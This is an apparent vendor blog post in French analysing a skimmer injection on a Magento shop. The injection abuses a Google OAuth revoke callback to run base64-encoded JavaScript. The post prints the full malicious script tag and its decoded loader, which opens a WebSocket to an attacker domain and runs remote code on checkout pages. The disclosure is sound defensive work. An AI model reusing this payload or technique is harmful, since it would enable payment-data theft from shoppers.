Un OAuth Google militarisé déclenche un WebSocket malveillant

En bref : détecter une injection de script OAuth Google factice

• Un domaine de confiance détourné : Si un script src commence par accounts.google.com, personne ne regarde à deux fois. C'est précisément pour cela que les attaquants ont pointé un callback vers ce domaine et y ont fourré du JavaScript en base64 dans le paramètre d'URL, pour l'exécuter dans votre page de paiement.

• Comment cside l'a intercepté : Sur le site Magento parts[.]expert, cside a intercepté une URL de révocation OAuth militarisée qui exécutait eval(atob(...)) et ouvrait un WebSocket vers livechatinc[.]network/chatpipe/029/, un domaine signalé comme malveillant sur VirusTotal. Le script ne se déclenchait que sur les URL de checkout, si bien qu'un crawler statique serait passé à côté.

• Fiez-vous au comportement : Arrêtez de faire confiance à un script en fonction de son domaine parent. Faites confiance au comportement à l'exécution. Si une URL Google ouvre un WebSocket vers un domaine de chat pendant le checkout, soit votre plateforme le voit en direct, soit vos clients paient le prix du retard.

Peu de temps ? Découvrez le blocage de Magecart et de skimmers dans le navigateur de cside. Elle couvre tout ce qui suit en un seul déploiement.

Nous avons analysé une attaque côté client particulièrement ingénieuse sur un site eCommerce basé sur Magento, parts[.]expert. Bien qu'il ne s'agisse pas d'un domaine à fort trafic, la technique d'injection utilisée ici mérite l'attention, car elle se cache en pleine vue.

L'attaquant utilise 'Google.com' pour livrer et exécuter son propre code et exploiter les mécanismes de sécurité OAuth, ce qui peut potentiellement compromettre des identifiants de compte Google et des jetons d'accès.

Ce que nous avons trouvé

Notre système a signalé un script provenant d'une URL inattendue :

<script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script>

À première vue, cela ressemble à une URL de déconnexion OAuth légitime provenant du serveur d'autorisation :

accounts.google.com/o/oauth2/revoke.

Mais en y regardant de plus près, le paramètre callback est militarisé pour exécuter un payload JavaScript obfusqué via eval(atob(...)).

Analyse étape par étape

Le payload encodé en base64 intégré dans le callback se décode en un autre script obfusqué qui crée dynamiquement une connexion WebSocket malveillante vers un domaine contrôlé par l'attaquant, un risque de sécurité WebSocket. Une fois décodé, il se lit comme suit :

(function() {
  let setupMaliciousWebSocket = () => {
    // Connect to attacker's WebSocket server
    const ws = new WebSocket("wss:/livechatinc.network/chatpipe/029/");

    // Execute any code received from the server
    ws.onmessage = (event) => {
      const maliciousCode = atob(event.data); // Decode Base64
      new Function(maliciousCode).call(event.target); // Execute dynamically
    };
  };

  // Run if:
  // 1. The browser is automated (e.g., bots), OR
  // 2. The URL contains 'checkout' (e.g., payment page)
  if (navigator.webdriver || window.location.href.match('checkout')) {
    setupMaliciousWebSocket();
  }
})();

Ce que fait le script

1. Se connecte à un serveur WebSocket malveillant si la page contient « checkout » dans l'URL, ou si le navigateur semble automatisé. Il ouvre une connexion wss:// vers livechatinc[.]network/chatpipe/029/, un domaine déjà signalé comme malveillant (lien VirusTotal) et un exemple clair d'attaque WebSocket en action.
2. Reçoit et exécute des payloads à distance : Tout message encodé en base64 transmis via le WebSocket est décodé et exécuté avec new Function(...). Cela confère à l'attaquant des capacités d'exécution à distance complètes dans la session navigateur de l'utilisateur, une technique souvent utilisée dans le phishing OAuth et d'autres attaques OAuth, pouvant mener à une violation de données en interceptant des informations sensibles telles que des adresses e-mail et des données de paiement.
3. Sensible au contexte et au timing : Le script s'active spécifiquement sur les pages de paiement, vraisemblablement pour intercepter des données de paiement ou injecter des éléments frauduleux en temps réel.

Pourquoi c'est important

• Apparence légitime : Il semble se charger depuis un domaine Google, ressemblant à du trafic lié aux vulnérabilités OAuth Google, si bien que la plupart des outils de sécurité lui feraient confiance sans vérification. Une CSP ne pourra pas bloquer cette attaque, car le domaine de confiance Google.com passera à travers. Un filtre DNS sur l'appareil de l'utilisateur ne serait pas non plus efficace.
• Contourne les scanners statiques : La logique dangereuse est enfouie à deux niveaux d'obfuscation et ne s'exécute que dans des conditions spécifiques. Cela la rend particulièrement difficile à détecter pour les organisations ne disposant pas d'un évaluateur de sécurité qualifié (QSA).
• Contrôle en temps réel : Les payloads basés sur WebSocket permettent aux attaquants de pousser une logique malveillante dynamique en fonction des actions de l'utilisateur.

Nous avons déjà observé de l'usurpation de domaine et des chargeurs obfusqués, mais cette combinaison de détournement OAuth et de contrôle en direct déclenché conditionnellement va un cran plus loin.

cside a identifié et intercepté cette attaque. Nous recevons le payload complet du script récupéré et l'analysons avant qu'il ne soit transmis au navigateur.

Vous pouvez vous inscrire ou réserver une démo ici.